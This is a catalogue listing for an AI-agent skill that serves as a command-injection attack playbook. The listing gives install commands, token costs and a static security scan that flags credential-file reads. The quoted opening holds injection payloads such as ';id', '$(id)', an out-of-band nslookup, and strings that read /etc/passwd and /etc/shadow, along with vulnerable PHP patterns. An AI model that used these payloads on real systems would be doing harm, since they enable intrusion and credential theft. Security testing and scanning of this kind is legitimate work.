Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yaklang/hack-skills/cmdi-command-injectionnpx skills add yaklang/hack-skills --skill cmdi-command-injectiongit clone --depth 1 https://github.com/yaklang/hack-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/cmdi-command-injection)<a href="https://agentmods.dev/skills/yaklang/hack-skills/cmdi-command-injection"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/cmdi-command-injection.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00036 | $0.05956 |
| Opus 5 | $0.00018 | $0.02978 |
| Sonnet 5 | $0.00007 | $0.01191 |
| Haiku 4.5 | $0.00004 | $0.00596 |
Grade B, and why
cmdi-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
; cat /etc/shadow # password hashes (if root) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
os.system("curl " + url) # url = "x.com; id" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
os.system("curl " + url) # url = "x.com; id" Copies of this mod
3 near-identical copies found in the catalogue:
- cmdi-command-injection — 100% identical, 0 lines differ
- cmdi-command-injection — 100% identical, 0 lines differ
- cmdi-command-injection — 92% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 688 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: OS Command Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
0. RELATED ROUTING
Before going deep, you can first load:
- upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow
First-pass payload families
| Context | Start With | Backup |
|---|---|---|
| generic shell separator | ;id |
&&id |
| quoted argument | ";id;" |
';id;' |
| blind timing | ;sleep 5 |
& timeout /T 5 /NOBREAK |
| command substitution | $(id) |
`id` |
| out-of-band DNS | ;nslookup token.collab |
Windows nslookup variant |
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
1. SHELL METACHARACTERS (INJECTION OPERATORS)
These characters break out of the command context and inject new commands:
| Metacharacter | Behavior | Example |
|---|---|---|
; |
Runs second command regardless | dir; whoami |
| |
Pipes stdout to second command | dir | whoami |
|| |
Run second only if first FAILS | dir || whoami |
& |
Run second in background (or sequenced in Windows) | dir & whoami |
&& |
Run second only if first SUCCEEDS | dir && whoami |
$(cmd) |
Command substitution | echo $(whoami) |
`cmd` |
Command substitution (backtick) | echo `whoami` |
> |
Redirect stdout to file | cmd > /tmp/out |
>> |
Append to file | cmd >> /tmp/out |
< |
Read file as stdin | cmd < /etc/passwd |
%0a |
Newline character (URL-encoded) | cmd%0awhoami |
%0d%0a |
CRLF | Multi-command injection |
2. COMMON VULNERABLE CODE PATTERNS
PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 688 lines · 36 tokens per session scan B 1f01c44613fb
cmdi-command-injection is a skill published in the GitHub repository yaklang/hack-skills (2,039 stars, last pushed 2mo ago), licensed MIT. It adds 36 tokens to every session and 5,956 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (reaches for credential files, makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.
chat-perf
Run chat perf benchmarks and memory leak checks against the local dev build or any published VS Code version. Use when investigating chat rendering regressions, validating perf-sensitive changes to chat UI, or checking for memory leaks in the chat response pipeline.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…